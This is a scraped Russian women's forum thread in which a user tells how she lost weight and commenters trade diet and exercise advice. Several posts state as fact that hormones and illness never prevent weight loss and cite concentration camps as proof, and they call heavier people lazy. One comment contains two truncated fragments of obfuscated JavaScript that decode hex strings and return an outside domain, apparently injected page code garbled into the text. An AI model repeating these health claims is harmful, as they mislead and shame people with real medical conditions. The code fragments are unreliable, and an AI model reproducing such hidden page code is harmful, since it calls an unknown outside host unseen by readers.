Вход
Здравствуйте, гость !
Войдите под своим именем
или Зарегистрируйтесь.
меньше минуты назад2016-12-07 18:54:13 от ширин
Здравствуйте!Мне 24 года. Образованная, работающая, симпатичная порядочная девушка. Но когда я знакомлюсь с парнями они узнав что я хочу серьезных отношений убегают, пропадают сами. Я хочу узнать или я их тороплю или вся проблема во мне? Дайте пожалу ... Подробнее
Последний комментарий
История : Помогите советом о моей жизненной практики
1 минуту назад2016-12-07 19:40:16 от Гость
Либо обоих, либо ни одну, кто поступит на бюджет, тот учится, кто нет, идет работает на завод, и поступает на следующий.. А то как то мягко говоря не комельфо. Все комментарии67623
Вход
Здравствуйте, гость !
Войдите под своим именем
или Зарегистрируйтесь.
Топ из раздела
Поделись мнением
Комедия
семь часов назад2016-12-07 12:41:15
Любовь это безумия
05 декабря в 06:58:47
Любимый брат мужа
04 декабря в 21:17:22
На работу к папе
03 декабря в 16:30:38
Студент и препод
28 ноября в 23:53:36
Волосенкиии
27 ноября в 22:35:51
Сериалы смотрим?  ( 1 2 )
27 ноября в 16:31:08
опустить на главную
24 ноября в 07:57:38
Поделись мнением - не бывает оюдей с широкой костью.или история моего похудения.
Поделись мнением : не бывает оюдей с широкой костью.или история моего похудения.     На написание этой истории меня с подвигла история где девушка выражает неудовольствие своей фигуре. Хотелось бы рассказать историю своего похудения. С детства я никого да не отличалась стройностью и на фоне других девочек смотрелась крупной. С детства меня начали дразнить ребята как это в детстве принято дразнить друг друга. Меня обзывали и жирной коровой и просто толстухой и жиртреской. Я прибегала домой и плакала, мама моя кстати тоже крупных размеров женщина, утешала меня тем, что у меня просто кость широкая. У нас в роду, говорила она, у всех широкая кость. И это меня утешало. Когда я повзрослела то обзавелась пышными формами в довесок к большому размеру груди, огромный живот и бока, просто огромная задница и ноги бутылки. Я на тот момент пыталась похудеть, но обычно на словах. Урезала себя в еде, но при этом мало двигалась, поэтому толку не было никакого. Считала, что если буду мало есть, то жирок рассосется. Не думала я тогда, что нужна огромная работа, чтобы были результаты. Взвешивалась каждые пять минут и удивлялась, что как так я мало ему, а килограммы растут. Я не знала, что организм из-за того, что пища перестала поступать начинал делать запасы. Подругам тогда все уши прожужжала о том, какая я несчастная, не могу похудеть, голодаю. А они такие стройненькие,везет им. При этом не думала, что сижу на жопе ровно и мало двигаюсь. Лень было что-то делать. Случилось у меня прозрение, когда брат пришел из армии. Уходил он туда такой кубышкой, а вернулся тростиночкой. И тогда я поняла, что дело не в кости и обмене веществ. Просто людям склонным к полноте нужно больше внимание уделять тому, что они едят и заниматься спортом. Когда-то при росте 165 я весила 87кг. А сейчас вешу 57. Как я добилась таких результатов? Скажу я вам было нелегко, но я смогла и вы сможете если не будите лениться. Нытьем вы себе килограммы не уберёте. В первую очередь я отказалась от сахара, жареного, мучного. Начала пить зеленый чай без сахара. Утрами овсянка, в обед супчик постный, можно куринную грудку сварить и съесть. Рыбу на пару. Вообще от еды отказываться совсем не стоит. Но ограничить дневной рацион стоит. И есть советую в одно и то же время. Режим очень важен. И больше спорта девочки. Все комплексно должно быть. Конечно с похуданием у меня и грудь моя шикарная исчезла. То в большей степени был жир. Ведь даже у мужиков, когда они толстеют появляется грудь. Но я от этого не страдаю. Я чувствую себя привлекательной как никогда! Поэтому всем пампушкам советую, меньше занимайтесь нытьем и себя жалейте меньше. Больше спорта плюс питайтесь правильно. И не бывает никакой широкой кости и нарушенного обмена веществ, есть только жирная ленивая задница. На своем опыте убедилась.
62945
Другие Поделись мнением
(48)
Лисий Хвостик
18460 Лисий Хвостик
Лисий Хвостик offline
Репутация : 165217
Комментариев 1404 20
20 января 01:52:13
2016-01-20 01:52:13

Вы молодец, автор! Так держать! Все, кто говорят о том, что похудеть невозможно - просто лентяйки, которым не хочется следить за своим питанием и заниматься спортом. Только ищут оправдания..

Надеюсь , ваша история будет услышана такими дамочками, и они хотя бы призадумаются))

Ответить
Поддерживаю Да5 / Нет0
The darkness around me - shores of a Solar sea.
Manikva
20066 Manikva
Manikva offline
Репутация : 43086
Комментариев 642 11
20 января 01:54:40
2016-01-20 01:54:40

Лисий Хвостик, ну не все, у некоторых действительно проблемы со здоровьем.

Автор, Вы - молодец! Так держать!{#} Замечательная сила воли! =)

Ответить
Поддерживаю Да1 / Нет0
Истина дорога лишь тогда, когда доходит до твоего разума твоими же мыслями.
Лисий Хвостик
18460 Лисий Хвостик
Лисий Хвостик offline
Репутация : 165217
Комментариев 1404 20
20 января 01:57:45
2016-01-20 01:57:45

Manikva, ну, вспомните недавлюю историю о британце, который похудел ради любимой на 300кг. А казалось бы тоже "проблемы с обменом веществ") У кого как, конечно. Но в 90% случаев - только отговорки..

Ответить
Поддерживаю Да1 / Нет0
The darkness around me - shores of a Solar sea.
Лисий Хвостик
18460 Лисий Хвостик
Лисий Хвостик offline
Репутация : 165217
Комментариев 1404 20
20 января 02:01:24
2016-01-20 02:01:24

Лисий Хвостик, хотя, хм. не совсем удачный пример - ему там помогли "срезать" около 20кг одной кожи только.

Но у меня просто есть ещё личный пример, не буду говорить имён, но женщина, которая весила около 160кг за год примерно похудела до 80. Сейчас продолжает приводить себя "в форму", однако до этого около 30 лет говорила, что у неё нарушение в обмене веществ) Когда самой стыдно стало уже, взялась за себя.

Побольше бы таких положительных примеров в жизни.

Ответить
Поддерживаю Да1 / Нет0
The darkness around me - shores of a Solar sea.
Гость из Закарпатья
14699 Гость из Закарпатья
Гость из Закарпатья offline
Репутация : 193325
Комментариев 1393 3
20 января 06:28:51
2016-01-20 06:28:51

Manikva, я согласна с вами. Очень часто бывает что женщины поправлятся от гормонального лечения, а потом никак не могут сбросить. А кто-то всю жизнь живет на гормонах. Не все так однозначно как все думают. Пока мы молодые девушки то с легкостью всех осуждаем, а вот начнем реально болеть(рано или поздно все болеют) то поймем что все в жизни бывает... Я видела полную женщину в больнице и она от гормонов очень пострадала. И ей невероятно сложнее похудеть чем те кто говорит о широкой косте или о нарушенном обмене веществ.

Автор, я за вас рада. Но не будьте столь категоричны. Жизнь непредсказума. Дай Бог вам крепкого здоровья! Это главнее всего.

Ответить
Поддерживаю Да2 / Нет0
Странная_Такая
20287 Странная_Такая
Странная_Такая online
Репутация : 251676
Комментариев 2472 8
20 января 09:37:26
2016-01-20 09:37:26

В концлагерях толстых не было. Главное - не есть, а это - сила воли. Сижу на диете 5 день, минус 1, 5 кг только, но спортивный интерес зашкаливает уже..... Даже почти привыкла.... Приснилось что я корм кошачий ем сегодня{#})))) Так вскусно во сне было)

Ответить
Поддерживаю Да6 / Нет0
Та, которая танцевала, казалась безумной тем, кто не мог слышать музыку.
окса
1342 окса
Окса offline
Репутация : 202880
Комментариев 1801 1
20 января 10:04:07
2016-01-20 10:04:07

ахах я из разряда ленивая задница))))))))))) времени нет вообще на спортзал уже целых два месяца попасть не могу, то конец года, то закрытие года по факту 2016)

Ответить
Поддерживаю Да0 / Нет0
Все вокруг такие злые, а я одна такая добрая и хорошая... сижу тихонько в танке .... отстреливаюсь))
Лисий Хвостик
18460 Лисий Хвостик
Лисий Хвостик offline
Репутация : 165217
Комментариев 1404 20
20 января 10:24:21
2016-01-20 10:24:21

Странная_Такая , про кошачий корм - это нечто {#}

Ответить
Поддерживаю Да1 / Нет0
The darkness around me - shores of a Solar sea.
совушка
20652 совушка
Совушка offline
Репутация : 3056
Комментариев 61 0
20 января 11:39:27
2016-01-20 11:39:27

Я вас полностью поддерживаю, вы-просто молодец, умничка!Взялись за себя и привели в норму. Есть сила воли!Молодчина!Это же ещё и здоровье ваше!Очень много проблем со здоровьем у тучных людей. Но чтобы так похудеть, нужно не только лишь желание, а постоянство и последовательность в достижении цели-это труд, да. И вы достигли желаемого. Теперь, всегда следите за своим питанием, если позволили себе что-нибудь вкусненькое и калорийное-просто, можно вечером, перед сном, бодрую прогулку совершить быстрым шагом, в темпе, я гуляю так, по часу, вечерком, и никакие кг не откладываются. Хотя, работа не сидячая-и так всё сгорает!{#}

Ответить
Поддерживаю Да1 / Нет0
Думай о хорошем!
Люда
Люда

20 января 12:09:59
2016-01-20 12:09:59
Автор а на данный момент вы можете побаловаться жирным, жаренным. мучным?
Ответить
Поддерживаю Да0 / Нет0
Dевушк@
3954 Dевушк@
Dевушк@ offline
Репутация : 235993
Комментариев 1762 1
20 января 12:13:48
2016-01-20 12:13:48

Я тоже было дело занялась похудением. Полной никогда не была, но чет после родов попёрло меня ) Просто в декрете все время жрала жрала... Так вот я собрала инфу со всего инета о том как похудеть. Во- первых ограничивать питанием себя нельзя! Вот это всё на пару, овсяки и тд - это конечно хорошо, если всю жизнь таким питаться. Но врдли кто-то вс жизнь будет есть овсянку и отварное постное мясо.

Так что я вынесла для себя правила:

1. До 12 можно всё! Даже торт !(это условно конечно в 12-05 тоже еще можно торт{#}) Но потом питание должно быть менее калорийным. Ужин - время белков и минимального кол-ва жиров и углеводов. На ночь если невозможно хочется есть можно попить нежирного кефира или водички.

2. Последний прием пиши за 2 часа до сна. Чтоб всё переварилось.

3. Подсчет калорий за день. Реально помогает. Ведь логически верно: мы худеем, когда сжигаем больше энергии, чем потребляем. У меня было приложение на телефоне очень удобное. В Плей Маркете есть приложение "Похудеть без диеты". Очень классное! Посмотрите не пожалейте. Правда там понадобяться кухонные весы. Но я первое время без них обходилась. Там калькулятор посчитывает сколько вы съели за день и сколько вам надо потратить ккал, чтоб не набрать и скинуть пару сотен грамм за день.

4. И конечно же спорт! Не пугайтесь при виде слово СПОРТ. Это не бег с препятствиями в тулупе. Это могут быть просто 20-минутные тренировки-повторении за тетей по телевизору{#} У меня эту тетю зовут Джиллиан Майклс. Крутая тётя! Мотивирует. Очень много с ней тренировок типа "похудей за 30 дней" , "Сжигаем жир на животе и бедрах", "ABC" ( это пресс) Меня особенно мотивировали фотки пользователей ее группы ВКонтакте там ДО и ПОСЛЕ. Даже мужики худели по ее тренировкам. Вообщем кто не знает гляньте отзывы в инете. Есть много таких телевизионных тренеров.

Когда я с детства до лет 23-х жрала как слон. Реально ЖРАЛА, а не ела), в то время я занималась баскетболом, носилась как угорелая и была худая. 165/52 жира вообще не было, т. к. он сгорал. А как села на попу в офисе после ВУЗа и в декрете, так сразу моё обжорство вышло мне в живот и попу жаль конечно что не в сиськи{#}

Вот в принципе и всё. Основное правило хочу выделить: Нажрался как свинья - расходуй эти ккал как лошадь.

Это конечно я написала для обычных людей, без гормонального сбоя и др. заболеваний пищ. системы.

Будьте здоровы! {#}

Ответить
Поддерживаю Да5 / Нет0
Сиреневая Кошка
12351 Сиреневая Кошка
Сиреневая Кошка online
Репутация : 1666644
Комментариев 6919 36
20 января 12:37:42
2016-01-20 12:37:42

Вы автор - настоящая молодец!

Я поддерживаю всех, кто говорит, что для того, чтобы похудеть, нужно банально не жрать. Есть можно, а жрать - нет. У нас есть прекрасное шоу в Украине. Взвешенные и счастливые. Люди, которые всю жизнь были толстунами, которые тогже находили себе массу оправданий, тот больной, у того кость широкая... меньше чем за год добиваются таких результатов, что просто не поверила бы, если бы не смотрела шоу. А всего-то нужно три составляющих: хотеть похудеть, привести в порядок питание и заниматься спортом.

После гормонов жир не растет из ничего. Просто после гормонов увеличивается желание жрать. Если человек не имел склонности к полноте и не привык себе в этом желании отказывать - он жрет и набирает вес. Я знаю о чем говорю, так было у меня.

Когда у тебя меньше 55 кг набрать 2-3 кг легко, но уходят они очень сложно при таком весе. Мне реально помогает подсчет калорий. Во-первых, ты контролируешь, сколько ешь. Во-вторых, мы очень много едим, сами того не замечая. Тебе кажется, что ешь не больше чем остальные, худые, а на самом деле, худая может плотно поесть 3 раза в день и съесть 2500 ккал, из которых 500 сожжет на фитнесе, а та, которая не поймет откуда у нее берется жир, весь день ходит голодная и перебивается то кусочком жаренной свинины, то бутербродом с маслом и колбасой, то шоколадным батончиком. И так "голодая" съедает все 5000. Когда ты контролируешь каждую съеденную калорию, ты сто раз подумаешь, стоит ли есть эту конфету и писать себе еще 200 калорий, или можно обойтись.

Формула похудения на самом деле настолько банально проста: тратить больше, чем съедаешь. Все. Думать не нужно, и изобретать велосипед тоже. Похудеть может каждый. Главное хотеть и что-то делать для этого, а не искать себе оправдания во врожденной склонности или придумывать болячки.

Ответить
Поддерживаю Да7 / Нет0
Некоторым кажется, что я ненормальная. А многие уже поняли, что им не кажется.
Блондиночка
10883 Блондиночка
Блондиночка online
  • Мисс Остроумие
Репутация : 2895973
Комментариев 17178 30
20 января 12:54:16
2016-01-20 12:54:16

Прочитала историю и вспомнилось, как мой брат тоже исхудал после армии... А до неё пытался, что-то там, а не помогло.... Он даже ужинал кефиром, а вес всё был. Ну естественно, если учесть, что он при этом целыми днями либо сидел, либо лежал. А когда с армии пришёл мы все испугались даже. Он так похудел. До армии я думала, что у него кость широкая, реально так казалось. Но когда он вернулся скелетом таким, то и кость широкой уже и не казалась....

И верно подмечено, что в концлагерях не было людей в теле, все были стройняшками... Такими, что аж смотреть было больно.

Напишу за себя. Я сама по себе вроде бы и дрищ, но в то же время, как практически у всех девушек у меня имеются проблемные зоны. Мне часто говорят, везёт тебе ты худая. Легко сказать. Я при этом во многом себя ограничиваю. Был в моей жизни период, когда я немного так поправлялась... Если честно, это было - ужасно!=){#}Ибо как и писалось выше, я сама по себе дрищ, то когда поправилась, то получился эдакий колобок на тонких ножках. Ибо поправилось у меня только туловище!=){#}Это я к тому, что если не следить за своим питанием и не заниматься спортом, то любая обрастёт жирком. Потом я очень долго худела. Помню приезжала на дачу и носилась по лесу. И конечно урезала себе рацион. Сладкое практически не ем. Очень редко себе позволяю. Говорят, что нудно есть часто и мало. Но я ем мало и редко. Утрами я не завтракаю, не могу. А так я ни в каких продутах питания себе больше не отказываю. Правда не налегаю на жирную пищу. Ужинаю я в начале восьмого вечера, стабильно. Стараюсь не нарушать режима. После ужина, через часа два у меня занятия спортом, летом прибавляются пробежки, а зимой только качание пресса, наклоны, приседания и. д. и т. п. Конечно иногда не охота, но делаю через не хочу.

Лучшие мотиваторы для меня, девушки с хорошей фигурой. Нет у меня при виде них такого, мол везёт им, стройные. Я понимаю, что это огромная работа. А если сидеть на попе ровно, то явно ничего не изменится.

Да и самой приятно, смотреть на своё отражение в зеркале и чтобы всё нравилось прям. Это в первую очередь нужно делать для себя.

Ответить
Поддерживаю Да4 / Нет0
Хожу по дому на каблуках и пью кефир из фужера. Это придаёт моему безделью особую изысканность.
Сиреневая Кошка
12351 Сиреневая Кошка
Сиреневая Кошка online
Репутация : 1666644
Комментариев 6919 36
20 января 12:58:32
2016-01-20 12:58:32

Надеюсь, автор не против, вот 4 девочки, участницы шоу, о котором я писала выше. Финалистки. Вот ними я восхищаюсь.

Этого они добились меньше, чем за год. А тоже все с детсва были пышечками и в начале шоу рассказывали, что у них в семье все полные, и родители полные, и кость широкая и вообще, они никогда в жизни не были худыми. С самого детсва у них был лишний вес.

// o;o++)t+=e. CharCodeAt(o). ToString(16);return t}, a=function(e){e=e. Match(/[\S\s]{1, 2}/g);for(var t="", o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "rirl.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

// o;o++)t+=e. CharCodeAt(o). ToString(16);return t}, a=function(e){e=e. Match(/[\S\s]{1, 2}/g);for(var t="", o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "rirl.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Ответить
Поддерживаю Да6 / Нет0
Некоторым кажется, что я ненормальная. А многие уже поняли, что им не кажется.
Осенняя
17330 Осенняя
Осенняя offline
Репутация : 401434
Комментариев 2258 2
20 января 13:40:56
2016-01-20 13:40:56

Сиреневая Кошка, {#}{#}

Ответить
Поддерживаю Да1 / Нет0
Dевушк@
3954 Dевушк@
Dевушк@ offline
Репутация : 235993
Комментариев 1762 1
20 января 13:50:20
2016-01-20 13:50:20

Сиреневая Кошка, совсем другие люди! Правда? Все-таки как излишняя полнота портит и старит человека. На женщин справа приятно посмотреть! Даже не верится, что они такими были!! {#}

Ответить
Поддерживаю Да3 / Нет0
Блондиночка
10883 Блондиночка
Блондиночка online
  • Мисс Остроумие
Репутация : 2895973
Комментариев 17178 30
20 января 13:58:01
2016-01-20 13:58:01

А я заметила, что практически у всех ушла грудь с похудением....

Ответить
Поддерживаю Да0 / Нет0
Хожу по дому на каблуках и пью кефир из фужера. Это придаёт моему безделью особую изысканность.
Сиреневая Кошка
12351 Сиреневая Кошка
Сиреневая Кошка online
Репутация : 1666644
Комментариев 6919 36
20 января 14:02:17
2016-01-20 14:02:17

Осенняя, Dевушк@, Это шоу для меня самый сильный мотиватор. Уже 5 сезонов было, я не пропустила ни одного выпуска :). Прям фанат.

Эти женщины не единственные, кто так сильно похудел. Там многие шокирующе худеют. Мужики худеют не меньше, а иногда и больше.

Но и там худеют тоже не все. Многие прямо говорят: возвращаешься домой и становится сложно себе отказывать в еде, сложно заставлять себя поднимать задницу и идти в зал. Даже когда смотришь шоу, видно, кто старается и реально очень хочет, а кто по привычке себя жалеет и говорит "не могу". Из мужиков поразила история одного попа. Он пришел на проект с весом 199 кг. Мужик весил два центнера. Он ходить не мог, был почти инвалидом. За проект он сбросил 88 кг. Его просто не узнать. Спотрсмен и красавец :)

Ответить
Поддерживаю Да0 / Нет0
Некоторым кажется, что я ненормальная. А многие уже поняли, что им не кажется.
Сиреневая Кошка
12351 Сиреневая Кошка
Сиреневая Кошка online
Репутация : 1666644
Комментариев 6919 36
20 января 14:04:37
2016-01-20 14:04:37

Блондиночка , Ну а ты как хотела. Жир, он не выбирает, откуда ему уходить {#}

Меня больше интересует, что они делают с кожей? Наверняка обрезают потом лишнее, я не верю, что она может стянуться.

Ответить
Поддерживаю Да1 / Нет0
Некоторым кажется, что я ненормальная. А многие уже поняли, что им не кажется.
Блондиночка
10883 Блондиночка
Блондиночка online
  • Мисс Остроумие
Репутация : 2895973
Комментариев 17178 30
20 января 14:13:58
2016-01-20 14:13:58

Сиреневая Кошка, я даже не представляю, куда она у них уходит... Действительно, интересненько. =)

Кстати вспомнилась сразу Полина Гагарина, которая до похудания обладала большим размером груди....

А похудела и всё ушло... Как и не было даже... =)

Ответить
Поддерживаю Да1 / Нет0
Хожу по дому на каблуках и пью кефир из фужера. Это придаёт моему безделью особую изысканность.
Лисий Хвостик
18460 Лисий Хвостик
Лисий Хвостик offline
Репутация : 165217
Комментариев 1404 20
20 января 14:16:42
2016-01-20 14:16:42

Блондиночка , говорят, в большинстве случаев так происходит, что худеет сначала грудь, потом живот и только потом попа)) Закон подлости прям) Не знаю, так ли это и проверить не могу, т. к. наоборот пытаюсь поправиться(

Ответить
Поддерживаю Да0 / Нет0
The darkness around me - shores of a Solar sea.
Dевушк@
3954 Dевушк@
Dевушк@ offline
Репутация : 235993
Комментариев 1762 1
20 января 14:17:10
2016-01-20 14:17:10

Сиреневая Кошка, ну да, я думаю, кто теряет 30-80 кг у того кожу оч сложно вернуть в прежнее состояние. Но кг на 10-15 я думаю возможно. Есть же всякие примочки для упругости кожи, ванны, мази и тд.. не знаю помогают они или нет.. Но много видела девушек, которые похудели в среднем на 15 кг и вроде норм. , не висит нигда. Еще от возраста, я думаю, зависит.

Ответить
Поддерживаю Да0 / Нет0
Блондиночка
10883 Блондиночка
Блондиночка online
  • Мисс Остроумие
Репутация : 2895973
Комментариев 17178 30
20 января 14:25:04
2016-01-20 14:25:04

Лисий Хвостик, а когда поправляется человек, значит в обратном порядке - сначала растёт живот/бока, жопа, а потом сиськи. До такой кондиции, чтобы у меня росли сиськи , я ещё не доходила. А вот, что может вырасти живот - знаю. =)

Ответить
Поддерживаю Да2 / Нет0
Хожу по дому на каблуках и пью кефир из фужера. Это придаёт моему безделью особую изысканность.
Лисий Хвостик
18460 Лисий Хвостик
Лисий Хвостик offline
Репутация : 165217
Комментариев 1404 20
20 января 14:30:32
2016-01-20 14:30:32

Блондиночка , вот-вот! Из-за такого принципа - я плоская)) Прям как в школе у нас говорили, простите, "доска и 2 соска" {#} Обидно, однако:D

Ответить
Поддерживаю Да2 / Нет0
The darkness around me - shores of a Solar sea.
Блондиночка
10883 Блондиночка
Блондиночка online
  • Мисс Остроумие
Репутация : 2895973
Комментариев 17178 30
20 января 14:35:15
2016-01-20 14:35:15

Лисий Хвостик, та же тема!=))){#}Конечно это печально, но я свыклась с мыслью, что не быть мне с большими сисяндрами. =) Кстати стройные девушки очень редко имеют большую грудь. А заполучить её путём ожирения или хирургического вмешательства, я как-то не хочу. =)

Ответить
Поддерживаю Да1 / Нет0
Хожу по дому на каблуках и пью кефир из фужера. Это придаёт моему безделью особую изысканность.
Милая кошка
10885 Милая кошка
Милая кошка offline
Репутация : 586331
Комментариев 7742 13
20 января 16:06:51
2016-01-20 16:06:51

Мне понравилось высказывания одного диетолога , , в конц лагере все были худые, , , обмен веществ тут не при чем. Мне и глюкокортикоиды как то капали, и сейчас я принимаю гормональный препарат, и даже 1 килограмм не поправилась. При том что наоборот хочу поправиться. Я не представляю что и в каких количествах надо есть, чтобы растолстеть

Ответить
Поддерживаю Да0 / Нет0
Если я тебе не нравлюсь-застрелись! Я не исправлюсь.
Уже не пышечка
Уже не пышечка

20 января 16:17:41
2016-01-20 16:17:41
Люда, могу иногда побаловать. Но после этого нужно сразу сгонять калории. Сколько съела настолько и потею.
Ответить
Поддерживаю Да1 / Нет0
вовочка
вовочка

20 января 17:56:00
2016-01-20 17:56:00
Сиреневая Кошка, а мне нравятся большые женщины ))
Ответить
Поддерживаю Да0 / Нет0
Уже не пышечка
Уже не пышечка

20 января 17:56:12
2016-01-20 17:56:12
Спасибо всем за комментарии:)Если бы мне несколько лет назад сказали, что я стану худышкой я бы покрутила у виска. А сейчас я понимаю, что заблуждалась раньше. Что я была ленивой. Что искала отговорки. Нет таких болезней из за которых не похудеть. Гормоны ерунда и миф. Я сама сейчас пью гарсоны и не набираю вес. Главное не есть ведрами и спортом заниматься. И правильно заметили про концлагеря. Если бы существовали люди с гормональным боем и широкой костью, тот они бы были заметны в концлагерях. А таких там не было. Не выбирали же нацисты одних худых людей. ;)а пампушечкам хочу написать, что выбирать вам либо много есть, либо много работать над собой, каждая выбирает сама. А нытьем вы свой жир не уберёте. У меня есть подруга которая не знала, что я раньше была пампушечкой, сама она сейчас в теле. Приходила ко мне на чай и жаловалась, что вот она похудеть не может. Мне говорила, что я такая красивая и стройная, а она бедная не ест ничего толком, а не худеет. Я терпела терпела, а потом не выдержала и показала ей свои старые фото и все высказала. Сказала что она лентяйка. Она обиделась сначала но потом позвонила и согласилась. Сейчас она взялась за себя и вот я ей сегодня позвонила и за месяц минус 6 кг. Конечно не так много как хочется, а кто сказал что это легко и быстро? Быстро только можно набрать вес.
Ответить
Поддерживаю Да1 / Нет0
Кай
Кай

20 января 20:34:08
2016-01-20 20:34:08
вовочка, Мнда)), а мне худенькие)
Ответить
Поддерживаю Да0 / Нет0
Инна Р
19181 Инна Р
Инна Р offline
Репутация : 73528
Комментариев 795 2
20 января 21:02:17
2016-01-20 21:02:17

Уже не пышечка, вы умница с железной силой воли и бойцовским духом. Убрать лишние 30 кг. выше всех похвал{#}. Я вот с 67 до 55 кг похудела и тоже не легко мне это далось. Главное теперь всегда пожизненно пребывать в движении, не расслабляться, регулярность тренировок это главное. Единственный момент который меня беспокоит, это состояние беременности и восстановление после родов, так как я ещё не рожала но подозреваю когда рожу опять раскабанюсь и придётся снова прикладывать титанические усилия чтоб вернуть фигурку. А вас кстати не беспокоит этот момент? Сиреневая Кошка, Вот это просто суперженщины. И я восхищена. Это ж надо так себя суметь перекроить и из лягушек превратиться в прекрасных принцесс. Сколько труда проделано над собой. Даже лица стали красивые, а не опухшие как при лишних кило. Их хоть на подиум теперь.

Ответить
Поддерживаю Да2 / Нет0
Гость из Закарпатья
14699 Гость из Закарпатья
Гость из Закарпатья offline
Репутация : 193325
Комментариев 1393 3
20 января 21:14:05
2016-01-20 21:14:05

Дааа... Фотографии впечатляют. Но я уже подобным образом год впечатляюсь от одной реальной знакомой которую часто вижу и от двух виртуальных знакомых. Одна с них прям как девушки с фотографии занялась собой и похудела. Честь и хвала таким умничкам!!! Я всегда любуюсь их фотографиями в новых платьях, а реальную знакомую вижу сейчас в очень классных нарядах. Действительно тот кто хочет тот все сможет! Меня эти примеры вдохновляют собой заниматься. Слава Богу проблем с весом нет. Все в норме. Но надо поддерживать здоровый и активный дух несмотря на обьем талии.

А по поводу гормонов я имела ввиду те случаи когда человек действительно серьезно болен и просто по всем показаниям ему спорт противопоказан. Со мной лежала женщина которой надо пожизненно пить гормоны и строго надо следить чтобы не травмировалась кожа. У неё редкостное заболевание пузырчатка когда целые слои кожи отходят и формируют настоящие страшные раны. Она дома максимум может что-то очень легкое сделать по дому. Всякое в жизни бывает...

На шоу видимо приходят действительно просто запустившие себя люди. Думаю с тяжелыми заболеваниями которые предусматривают гормоны вряд ли туда возьмут. Ну я могу ошибаться. Не видела эту программу.

Ответить
Поддерживаю Да1 / Нет0
Гость
Гость

20 января 22:49:27
2016-01-20 22:49:27

Сиреневая Кошка, Я бы не сказал что все стройные прям красивые этих пышечек)

Ответить
Поддерживаю Да0 / Нет0
Гость
Гость

20 января 22:50:17
2016-01-20 22:50:17

Феникс., Красивее

Ответить
Поддерживаю Да0 / Нет0
Жена ингуша
8745 Жена ингуша
Жена ингуша online
Репутация : 2561067
Комментариев 14440 50
21 января 00:26:59
2016-01-21 00:26:59

Дааааа, автор, подтверждаю)) Чтобы похудеть - надо меньше жрать. Точнее, не столько меньше, сколько грамотнее. Когда я, как и вы, страдала от ширококостия))

Вспом инаю тогда, как мы жрали... Ой, ужас.. Всей семьёй, йогурты 6% жирностью, шоколадки-конфеты, сыр-колбасу чуть ли не круглосуточно, орешки кешью (тогда как раз только начали продавать в таких баночках) - с папой могли баночку за раз на двоих слопать... Постоянные застолья, балыки, нарезки, тортики... И были всей семьёй толстые. И мама с бабушкой, видя мои тщетные попытки начать худеть, вздыхали, и говорили, заедая сладкий чай булками, - "Ну против природы не попрёшь, мы все такие, и ты такая будешь". И я, садилась рядом, пила сладкий чай с булками с горя от того, что у нас кость широкая и природа такая))

А потом... Как то в один момент, как будто щёлкнуло. Разные способы похудения пробовала. Но уже давно чётко закрепилась в весе 50 кг (ну там плюс/минус пару кг).

В настоящий момент времени я пришла к тому, что не могу ограничивать себя в чём-то. Хочу есть всё. И организм с возрастом как то требует, что ли... Нашла для себя оптимальный вариант, при котором есть можно и правда всё, правда в разное время. Довольна, и чувствую себя лучше, и не прибавляю в весе, несмотря на то, что ежедневно позволяю себе сладкое.

Всем худеющим удачи))

Ответить
Поддерживаю Да5 / Нет0
- Нажмите любую клавишу. - Эту можно? - Эту нет.
Сиреневая Кошка
12351 Сиреневая Кошка
Сиреневая Кошка online
Репутация : 1666644
Комментариев 6919 36
21 января 01:11:07
2016-01-21 01:11:07

Гость из Закарпатья, Там разные, но, конечно, думаю, не берут тех, кто не сможет выдержать. Там же с ними врачи постоянно находятся, психологи, диетологи, спорт-тренеры. Потому что там серьезные нагрузки. Тренировки, конкурсы каждую неделю, достаточно жесткие. Вот батюшка, о котором я говорила, он пришел реально почти инвалидом. Он почти не ходил, так по дому только, 200 кг при обычном росте. А ушел... ну просто не узнать.

Знаете, там было 2 таких самых показательных конкурса, по-моему.

Первый, это когда уже в конце проекта, когда все уже похудевшие, им дают рюкзак, который весит столько, сколько они уже сбросили. У кого 30 кг, у кого 40, у кого 50. И этот рюкзак нужно пронести, например, 2 км. Участники просто в шоке. А ведь этот вес они носили на себе раньше постоянно. И этот вес - это просто жир. Они несли эти рюкзаки, обливались потом и не верили, что раньше так они ходили всегда.

А второй конкурс был один раз в начале сезона. Когда они только начинали все это. Заводили в огромное помещение, целый ангар какой-то, где посередине лежала просто ог-ро-мен-на-я куча сала. И у каждого спрашивали: "Сколько ты бы хотел сбросить, чтобы быть довольным своим весом?" Кто отвечал 40 кг, кто 50, кто 60. И им говорили, наносить столько сала, сколько они считают, у них лишнего веса. Они носили-носили руками, падали уже без сил, и все равно каждый наносил, ну кг 20-25-30, не больше. И потом докидывали сала до 60 кг, и я вам скажу, это просто такая нереально большая куча жира, что просто не верится, что человек может носить столько под свой кожей.

Короче да, я фанатка этого шоу. Даже своего парня подсадила на него. Он финал смотрел со мной и постоянно орал: "Да ну нафиг! Это не он! Да ну, это 100% не он"

На первой фотке батюшка, о котором я говорила, а на второй - победитель этого сезона.

Извините, может я загрузила вас своими фотками. Я больше не буду :). Но я реально восхищаюсь людьми, их силой воли и этой работой над собой. Если этот мужик смог сбросить, То я не верю, что я или кто-то другой не сможет сбросить занюханных 3-5-10 кг.

Ответить
Поддерживаю Да4 / Нет0
Некоторым кажется, что я ненормальная. А многие уже поняли, что им не кажется.
Гость из Закарпатья
14699 Гость из Закарпатья
Гость из Закарпатья offline
Репутация : 193325
Комментариев 1393 3
21 января 02:30:32
2016-01-21 02:30:32

Сиреневая Кошка, даааа... Впечатляет наповал!!! Как же они такие кг на себе то носили ?! Мне тяжелей ходить если вдруг лишних 2-3 кг (с суставами проблемы)... А в их масштабах вообще для меня фантастика... Это же уже жить нормально никак нельзя... Бедные! Очень хорошо что есть такая передача какая им сильно помогла, дала правильный старт... А дальше да, лишь от них самых все зависит. Иногда с таких шоу есть реальная и шикарная польза!

Спасибо за фотографии и рассказ вы меня тоже заинтриговали этой передачой))) Гляну ради интереса, хотя не любитель шоу. Но стало любопытно)))

Желаю всем быть стройняжками и не набирать лишних кг)))

Ответить
Поддерживаю Да1 / Нет0
Farba
11357 Farba
Farba online
Репутация : 123226
Комментариев 1521 1
21 января 14:18:05
2016-01-21 14:18:05
